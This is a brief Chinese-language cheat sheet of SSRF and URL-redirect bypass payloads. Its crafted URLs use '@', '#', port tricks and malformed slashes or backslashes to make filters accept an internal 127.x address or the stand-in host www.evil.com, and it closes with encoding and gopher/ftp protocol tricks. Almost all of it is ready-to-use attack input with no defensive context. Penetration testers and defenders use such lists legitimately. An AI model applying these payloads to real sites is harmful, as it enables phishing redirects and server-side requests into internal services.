SSRF、URL跳转Bypass

 

http://google.com:[email protected]:22/#[email protected]:80/

http://127.88.23.245:22/[email protected]:80#[email protected]:80/

http://google.com:[email protected]:80#[email protected]:22/

http://127.88.23.245:22/[email protected]:80/

http://127.88.23.245:22/#@www.google.com:80/

另外，某些情形下，可能对域名做了限制，这时候可以尝试绕过，这里绕过的技巧类似URL重定向绕过或SSRF绕过技巧。主要说一下畸形构造绕过，当然也可以Fuzzing，畸形构造主要涉及如下字符：";"、 "/"、"\"、"?"、":"、"@"、"="、"&"、"."。常见bypass方式：

a. 单斜线"/"绕过

https://www.xxx.com/redirect.php?url=/www.evil.com

b. 缺少协议绕过

https://www.xxx.com/redirect.php?url=//www.evil.com

c. 多斜线"/"前缀绕过

https://www.xxx.com/redirect.php?url=///www.evil.com

https://www.xxx.com/redirect.php?url=////www.evil.com

d. 利用"@"符号绕过

https://www.xxx.com/redirect.php?url=https://[email protected]

e. 利用反斜线"\"绕过

https://www.xxx.com/redirect.php?url=https://www.evil.com\https://www.xxx.com/

f. 利用"#"符号绕过

https://www.xxx.com/redirect.php?url=https://www.evil.com#https://www.xxx.com/

g. 利用"?"号绕过

https://www.xxx.com/redirect.php?url=https://www.evil.com?www.xxx.com

h. 利用"\\"绕过

https://www.xxx.com/redirect.php?url=https://www.evil.com\\www.xxx.com

i. 利用"."绕过

https://www.xxx.com/redirect.php?url=.evil         

https://www.xxx.com/redirect.php?url=.evil.com 

j.重复特殊字符绕过

https://www.xxx.com/redirect.php?url=///www.evil.com//..

https://www.xxx.com/redirect.php?url=////www.evil.com//..

       其他常见的绕过方式还有，使用地址，而不是域名；使用跳转到IPV6地址，而不是IPv4地址；用10进制、8进制、16进制形式表示；更换协议,使用ftp、gopher协议等；